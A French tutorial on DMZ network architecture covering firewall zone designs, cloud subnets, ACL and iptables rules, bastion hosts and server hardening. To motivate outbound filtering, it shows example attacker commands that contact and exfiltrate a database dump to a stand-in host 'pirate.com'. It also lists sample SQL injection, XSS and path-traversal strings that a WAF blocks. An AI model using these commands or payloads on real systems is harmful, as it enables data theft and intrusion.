🛡️ DMZ – Zone Démilitarisée, Architecture & Sécurité

Le "No Man's Land" du Réseau

Une DMZ (Zone Démilitarisée) est un réseau "tampon" (buffer network), un sous-réseau physique ou logique, qui se situe entre un réseau interne de confiance (le LAN) et un réseau externe non-fiable (le WAN / Internet).

Objectif Principal

L'objectif est d'exposer des services publics (comme un serveur Web, Mail, ou DNS) à Internet, tout en protégeant le réseau interne (LAN) au cas où l'un de ces services publics serait compromis (hacké).

Analogie

C'est le "sas d'entrée" d'un château fort :

• LAN (Trust) : La cour intérieure, le donjon (où vit le Roi). Très protégé.
• WAN (Untrust) : L'extérieur (la forêt, les ennemis).
• DMZ (Semi-Trust) : La "barbacane" ou la cour extérieure. C'est là que vous recevez les marchands (visiteurs publics). Si un marchand (trafic) se révèle être un attaquant, il est piégé dans la cour extérieure et ne peut pas atteindre le donjon (LAN).

Un firewall ne pense pas en termes de "ports", il pense en termes de "Zones" (niveaux de confiance). La DMZ est la 3ème zone fondamentale.

                                  ┌───────────────────────────┐
                                  │ FIREWALL                  │
                                  │                           │
(Zone 0 - UNTRUST)                │ (Interface WAN)           │
    INTERNET <────────────────────┤ eth0                      │
                                  │ (IP: 80.1.2.3)            │
                                  │                           │
                                  │ (Interface LAN)           │
Réseau Interne (Employés) <───────┤ eth1                      │
(Zone 100 - TRUST)                │ (IP: 192.168.1.1/24)      │
                                  │                           │
                                  │ (Interface DMZ)           │
Serveurs Publics (Web/Mail) <─────┤ eth2                      │
(Zone 50 - SEMI-TRUST)            │ (IP: 172.16.1.1/24)       │
                                  │                           │
                                  └───────────────────────────┘

Le travail du firewall est ensuite d'écrire des règles (ACLs) sur ce qui est autorisé à passer entre ces zones.

Le Scénario Catastrophe (Sans DMZ)

Si vous hébergez votre serveur web (192.168.1.100) directement dans votre LAN (Trust), vous devez créer une règle de Port Forwarding (NAT) : WAN (Port 443) -> 192.168.1.100.

Le Problème :

1. Un pirate exploite une faille (ex: Injection SQL, Log4j) sur votre serveur web et obtient un shell.
2. L'attaquant est directement dans votre réseau "Trust" (LAN).
3. Il peut maintenant scanner (nmap) et pivoter pour attaquer :
   • Le serveur Active Directory (Contrôleur de Domaine).
   • Le serveur de fichiers.
   • Le PC de la comptabilité.

La Solution (Avec DMZ)

Le serveur web est dans la DMZ (172.16.1.100). Si le pirate le compromet, il est piégé. La règle du firewall DENY DMZ -> LAN (voir 4.1) l'empêche de scanner ou d'atteindre le réseau interne.

C'est l'architecture DMZ la plus courante (PME, SOHO). Elle utilise un seul firewall (Appliance ou Linux) avec (au moins) trois interfaces ("jambes").

                                  ┌───────────────────────────┐
                                  │ FIREWALL (1)              │
                                  │ (ex: pfSense)             │
                                  │                           │
(WAN)   INTERNET <────────────────┤ eth0 (WAN / Untrust)      │
                                  │                           │
(LAN)   Réseau Interne <──────────┤ eth1 (LAN / Trust)        │
                                  │                           │
(DMZ)   Serveurs Publics <────────┤ eth2 (DMZ / Semi-Trust)   │
                                  │                           │
                                  └───────────────────────────┘

C'est l'architecture haute sécurité (standard "Entreprise", "Défense en profondeur"). Elle utilise deux firewalls (souvent de marques différentes) pour créer la DMZ.

(WAN)
INTERNET
   │
   ▼
[ FW 1 (Externe) ]  <- "Le Firewall de Façade"
   │ (Interface DMZ)
   │
   ├─────────────────> [ Serveur Web (DMZ) ]
   │
   │
   ▼ (Interface "Interne")
[ FW 2 (Interne) ]  <- "Le Firewall du Cœur"
   │
   │
   ▼
[ LAN (Trust) ]

Le réseau entre les deux firewalls est la DMZ.

Avantages

• Défense en Profondeur : L'attaquant doit compromettre deux firewalls (potentiellement de deux constructeurs différents) pour atteindre le LAN.
• Spécialisation : FW 1 peut être un NGFW/WAF (orienté Web), FW 2 peut être un pare-feu L3/L4 (orienté flux internes).

Inconvénients

• Coût : Double (matériel, licences).
• Complexité : Plus complexe à configurer (routage, NAT).

Dans le Cloud (AWS, Azure, GCP), le concept de DMZ est implémenté via la segmentation de sous-réseaux (Subnets) et des groupes de sécurité (Firewalls virtuels).

Architecture Type (AWS VPC)

[ INTERNET ]
     │
     ▼
[ Internet Gateway (IGW) ]
     │
     ▼
[ VPC (Réseau Cloud) ]
  ├─ [ Subnet Public (DMZ) ] ──────── (Route vers IGW)
  │    ├─ [ Load Balancer (ALB/NLB) ]
  │    └─ [ NAT Gateway ]
  │
  └─ [ Subnet Privé (LAN) ] ──────── (Route vers NAT GW)
       ├─ [ Serveur Web/App 1 ]
       ├─ [ Serveur Web/App 2 ]
       └─ [ Base de Données (RDS) ]

Filtrage (Firewalls Cloud)

• NACL (Network ACL) : (Stateless) Appliqué au Subnet. (ex: DENY SSH from ANY).
• Security Group (SG) : (Stateful) Appliqué à l'Instance (VM). (ex: ALLOW TCP 443 from Load Balancer).

Ici, le "Subnet Public" (où vit le Load Balancer) agit comme la DMZ.

C'est la règle qui autorise le public à accéder à vos serveurs. C'est la seule règle "PERMIT" initiée depuis "Untrust".

Cette règle est toujours restrictive (Whitelist).

Implémentation (Port Forwarding / DNAT)

C'est une combinaison d'une règle DNAT (Port Forwarding) et d'une règle Firewall (ACL).

Exemple (Serveur Web)

Règle DNAT (NAT Entrant) :

• Trafic arrivant sur 80.1.2.3 (IP Publique) au port 443 (HTTPS)
• ... est translaté vers 172.16.1.10 (IP DMZ) au port 443.

Règle Firewall (ACL) :

Règle 1:
  Action: PERMIT
  Source: ANY (Internet)
  Destination: 172.16.1.10 (Serveur Web DMZ)
  Service: TCP 443 (HTTPS)

Bonne Pratique : Ne jamais faire PERMIT ANY -> ANY (DMZ). N'ouvrir que les ports explicitement nécessaires (80, 443, 25...).

La Règle Souvent Oubliée

Que se passe-t-il si un serveur de la DMZ (ex: votre serveur web) est compromis ?

La première chose que l'attaquant (malware) tentera de faire est :

1. Contacter son serveur de Command & Control (C2) (ex: ssh pirate.com:2222) pour recevoir des ordres.
2. Exfiltrer des données (ex: scp /data/db.dump pirate.com:/uploads/).
3. Télécharger (curl, wget) d'autres outils malveillants.

La Règle : DENY par Défaut

Par défaut, la règle de flux DMZ -> WAN doit être DENY ALL (Implicit Deny).

Vous ne devez autoriser que les flux sortants explicitement nécessaires (Whitelist).

Exemple d'ACL (Sortant DMZ) :

Règle 1: (Mises à jour OS)
  PERMIT TCP [Serveur DMZ] -> [IP_Repo_Ubuntu] Port 80
Règle 2: (Requêtes DNS)
  PERMIT UDP [Serveur DMZ] -> [DNS 8.8.8.8] Port 53
Règle 3: (Implicit Deny)
  DENY IP ANY ANY (log)

C'est le cas d'usage le plus évident pour une DMZ.

Le serveur (Apache, Nginx, IIS) qui héberge le site web public (www.ideolab.com) est placé dans la DMZ.

Le firewall est configuré (via DNAT/Port Forwarding) pour transférer le trafic entrant TCP 80 (HTTP) et TCP 443 (HTTPS) vers l'IP privée de ce serveur.

(Voir "Reverse Proxy" (5.1) pour une architecture plus moderne où le serveur Nginx/Apache est *lui-même* le proxy).

Vous ne devez jamais exposer votre serveur de messagerie interne (ex: Microsoft Exchange) directement à Internet.

La bonne pratique est de placer un Relais SMTP (SMTP Gateway / MTA) dans la DMZ (ex: Postfix, Sendmail, ou une appliance Anti-Spam).

Flux (Entrant)

1. L'enregistrement MX (DNS) pointe vers l'IP publique du Relais SMTP (DMZ).
2. Le firewall autorise TCP 25 (SMTP) de WAN -> DMZ.
3. Le Relais (DMZ) reçoit l'email, le scanne (Anti-Spam, Anti-Virus).
4. Le firewall autorise TCP 25 de DMZ -> LAN (Serveur Exchange).
5. Le Relais transfère l'email (propre) au serveur interne.

Le Split-Brain DNS (ou "Split-Horizon") est une architecture de sécurité qui utilise deux serveurs DNS (ou plus) pour le même domaine, avec des réponses différentes selon l'origine de la requête (Interne ou Externe).

Le Problème

Un employé (LAN) veut accéder à intranet.ideolab.com. Si son PC utilise le DNS public (8.8.8.8), il reçoit l'IP publique (80.1.2.3). Son trafic doit "sortir" sur Internet pour "rentrer" (Hairpinning) -> Inefficace et pose des problèmes de sécurité.

La Solution (DMZ & LAN)

• Serveur DNS Externe (dans la DMZ) : (Autoritatif pour Internet)
  • www.ideolab.com -> 80.1.2.3 (IP Publique)
  • intranet.ideolab.com -> (N'existe pas)
• Serveur DNS Interne (dans le LAN) : (Utilisé par les employés via DHCP)
  • www.ideolab.com -> 172.16.1.10 (IP de la DMZ)
  • intranet.ideolab.com -> 192.168.1.50 (IP du LAN)

L'architecture DMZ "moderne" (surtout Cloud) ne contient souvent qu'un seul type de service : un Reverse Proxy (ex: Nginx, HAProxy, ou un Load Balancer Cloud).

Architecture (Proxy en DMZ)

Dans cette architecture, les serveurs d'application (Web, API) ne sont plus dans la DMZ. Ils sont déplacés dans le LAN (ou un segment "App"), qui est plus sécurisé.

[INTERNET]
   │
   ▼ (Port 443)
[ FIREWALL ]
   │
   │ (Règle : PERMIT WAN -> DMZ (Port 443))
   ▼
[ DMZ ]
  └─ [ Reverse Proxy (Nginx) ]
        │ (Ex: proxy_pass http://192.168.1.100)
        │
   │ (Règle : PERMIT DMZ -> LAN (Port 80))
   ▼
[ FIREWALL ]
   │
   ▼
[ LAN ]
  └─ [ Serveur Web 1 (192.168.1.100) ] (N'écoute que sur le port 80)

Avantages

• SSL Offloading : Le Nginx (DMZ) gère le HTTPS. Le trafic DMZ -> LAN est en HTTP (simple).
• Load Balancing : Le Nginx (DMZ) répartit la charge vers les serveurs du LAN.
• Sécurité (WAF) : Le Nginx (DMZ) filtre les attaques L7.
• Surface d'Attaque Minimale : Le LAN n'expose aucun port. Le seul appareil compromettable est le Reverse Proxy.

Un WAF est un Firewall de Couche 7 (Application) conçu spécifiquement pour inspecter le trafic HTTP/HTTPS et bloquer les attaques applicatives (ex: OWASP Top 10).

Positionnement

Le WAF est toujours placé dans la DMZ (ou en amont, chez un prestataire Cloud comme Cloudflare).

Il agit comme un Reverse Proxy. Il déchiffre (SSL Offload) le trafic, l'inspecte, puis (s'il est légitime) le re-chiffre (optionnel) et l'envoie au serveur web.

Ce qu'il bloque

• Injections SQL (SQLi) : (ex: ' OR 1=1)
• Cross-Site Scripting (XSS) : (ex: <script>alert(1)</script>)
• Path Traversal : (ex: /etc/passwd)
• Bot & Scanners : (ex: Blocage par User-Agent, IP réputée)

Problème : Comment administrer (SSH, RDP) les serveurs dans la DMZ de manière sécurisée ? Ouvrir les ports SSH/RDP de tous les serveurs DMZ à Internet (ou même au LAN) est une surface d'attaque énorme.

La Solution : Le Bastion

Un Bastion (ou Jump Host / Jump Server) est un unique serveur, placé dans la DMZ, ultra-sécurisé (hardened), qui sert de point d'entrée unique pour l'administration.

Architecture & Flux

Règles Firewall (Admin) :
1. PERMIT TCP [IP_Admin_WAN] -> [IP_Bastion_DMZ] (Port 22/SSH)
2. DENY TCP [IP_Admin_WAN] -> [Serveur_Web_DMZ] (Port 22) (Bloqué)
3. PERMIT TCP [IP_Bastion_DMZ] -> [Serveur_Web_DMZ] (Port 22)

1. L'Admin (Maison) se connecte en SSH au Bastion (ssh admin@bastion.ideolab.com).
2. (Le Bastion doit être ultra-sécurisé : MFA, Fail2Ban, Clés SSH uniquement).
3. Une fois sur le Bastion, l'admin "saute" (jump) en SSH vers le serveur web (ssh web@172.16.1.10).

Avantages : Surface d'attaque minimisée (1 port SSH ouvert), et tout l'audit (logs) est centralisé sur le Bastion.

Configurer une DMZ "3-Legged" sur un serveur Linux (Netfilter) se fait principalement via la chaîne FORWARD (routage) de la table filter.

# Interfaces:
# eth0 = WAN (Internet)
# eth1 = LAN (Trust - 192.168.1.0/24)
# eth2 = DMZ (Semi-Trust - 172.16.1.0/24)

# 1. Activer le routage (IP Forwarding)
sysctl -w net.ipv4.ip_forward=1

# 2. Politique par défaut : TOUT BLOQUER (Sécurité)
iptables -P FORWARD DROP

# 3. Autoriser le trafic établi (Stateful)
iptables -A FORWARD -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT

# 4. Autoriser LAN -> WAN (Sortie Internet)
iptables -A FORWARD -i eth1 -o eth0 -j ACCEPT

# 5. Autoriser WAN -> DMZ (Serveur Web 172.16.1.10)
iptables -A FORWARD -i eth0 -o eth2 -d 172.16.1.10 -p tcp --dport 443 -j ACCEPT

# 6. Autoriser LAN -> DMZ (Admin SSH)
iptables -A FORWARD -i eth1 -o eth2 -d 172.16.1.10 -p tcp --dport 22 -j ACCEPT

# 7. Règle DMZ -> LAN (DENY)
# (Inutile, car la politique par défaut est DROP, mais explicite)
iptables -A FORWARD -i eth2 -o eth1 -j DROP

Sur une appliance firewall (pfSense, Fortinet, Palo Alto), la configuration est graphique et basée sur les Zones/Interfaces.

Assignation des Interfaces (Zones)

• WAN : eth0
• LAN : eth1
• DMZ : eth2 (ou OPT1)

Règles de Firewall (Logique)

Les règles sont appliquées sur l'interface entrante (Inbound).

Règles sur l'interface WAN (Untrust) :

1. PERMIT TCP Source:ANY Dest:[IP_WEB_DMZ] Port:443 (DNAT)
2. (Implicit DENY ALL)

Règles sur l'interface LAN (Trust) :

1. PERMIT IP Source:[LAN_Subnet] Dest:ANY (Autorise LAN -> WAN/DMZ)
2. (Implicit DENY ALL)

Règles sur l'interface DMZ (Semi-Trust) :

1. PERMIT UDP Source:[DMZ_Subnet] Dest:[IP_DNS_Public] Port:53 (Autorise DNS)
2. PERMIT TCP Source:[DMZ_Subnet] Dest:[IP_Repo_Ubuntu] Port:80 (Mises à jour)
3. (Implicit DENY ALL)  <-- Bloque DMZ -> LAN

La DMZ isole, mais ne protège pas le serveur lui-même. Les serveurs dans la DMZ sont les plus exposés et doivent être "durcis" (hardened).

Checklist de Hardening

• Installation Minimale : N'installez que les services nécessaires (ex: Nginx). Pas d'interface graphique (GUI), pas d'outils inutiles.
• Patch Management : Appliquer les mises à jour de sécurité (OS, Nginx, PHP) immédiatement (ex: unattended-upgrades).
• Firewall Hôte (HIDS) : Activer le firewall local (UFW, iptables) en plus du firewall réseau. (Défense en profondeur).
• Moindre Privilège : Faire tourner le service (Nginx) avec un utilisateur non-root (ex: www-data).
• Désactiver les services : (systemctl disable ...) Tout ce qui n'est pas Nginx/SSH.
• Accès SSH :
  • Désactiver l'authentification par mot de passe (PasswordAuthentication no).
  • N'autoriser que l'authentification par clé SSH.
  • Limiter (AllowUsers) l'accès aux admins.
• Monitoring & Logs : Envoyer tous les logs (auth.log, nginx.log) à un SIEM (Syslog) centralisé (voir 7.1).

C'est la "logique" par défaut que 99% des firewalls doivent implémenter pour une DMZ sécurisée.